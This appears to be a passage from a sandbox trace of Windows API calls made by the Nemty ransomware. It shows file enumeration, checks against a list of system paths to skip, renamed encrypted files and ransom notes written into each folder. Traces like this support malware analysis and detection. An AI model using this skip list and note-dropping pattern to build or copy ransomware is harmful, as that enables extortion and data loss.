10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\WindowsMedia.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\windowsmedia.slv._nemty_kgobjgd_")) returned 1 [0192.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.461] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26500130, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26500130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26500130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.462] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26500130, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26500130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26500130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.463] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0192.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.463] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2=".") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="..") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="...") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="windows") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="$RECYCLE.BIN") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="rsa") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="NTDETECT.COM") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="ntldr") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="MSDOS.SYS") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="IO.SYS") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="boot.ini") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="boot.ini") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="AUTOEXEC.BAT") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="ntuser.dat") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="desktop.ini") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="CONFIG.SYS") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="RECYCLER") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="BOOTSECT.BAK") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="bootmgr") returned 1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="programdata") returned -1 [0192.463] lstrcmpiW (lpString1="MPP_TUR", lpString2="appdata") returned 1 [0192.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_TUR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_TUR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_TUR", lpUsedDefaultChar=0x0) returned 7 [0192.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_TUR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_TUR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_TUR", lpUsedDefaultChar=0x0) returned 7 [0192.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0192.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0192.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0192.468] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.468] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0192.469] CloseHandle (hObject=0x2e8) returned 1 [0192.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0192.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0192.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0192.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0192.470] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.471] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0192.471] CloseHandle (hObject=0x2e8) returned 1 [0192.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.471] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x265be810, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x265be810, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0192.472] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0192.472] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x265be810, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x265be810, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0192.472] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0192.472] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0192.472] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2=".") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="..") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="...") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="windows") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="$RECYCLE.BIN") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="rsa") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="NTDETECT.COM") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="ntldr") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="MSDOS.SYS") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="IO.SYS") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="boot.ini") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="boot.ini") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="ntuser.dat") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="desktop.ini") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="CONFIG.SYS") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="RECYCLER") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="BOOTSECT.BAK") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="bootmgr") returned 1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="programdata") returned -1 [0192.472] lstrcmpiW (lpString1="Flash.TUR", lpString2="appdata") returned 1 [0192.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.TUR", lpUsedDefaultChar=0x0) returned 9 [0192.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.TUR", lpUsedDefaultChar=0x0) returned 9 [0192.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.TUR", lpUsedDefaultChar=0x0) returned 9 [0192.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.TUR", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.TUR", lpUsedDefaultChar=0x0) returned 9 [0192.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0192.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 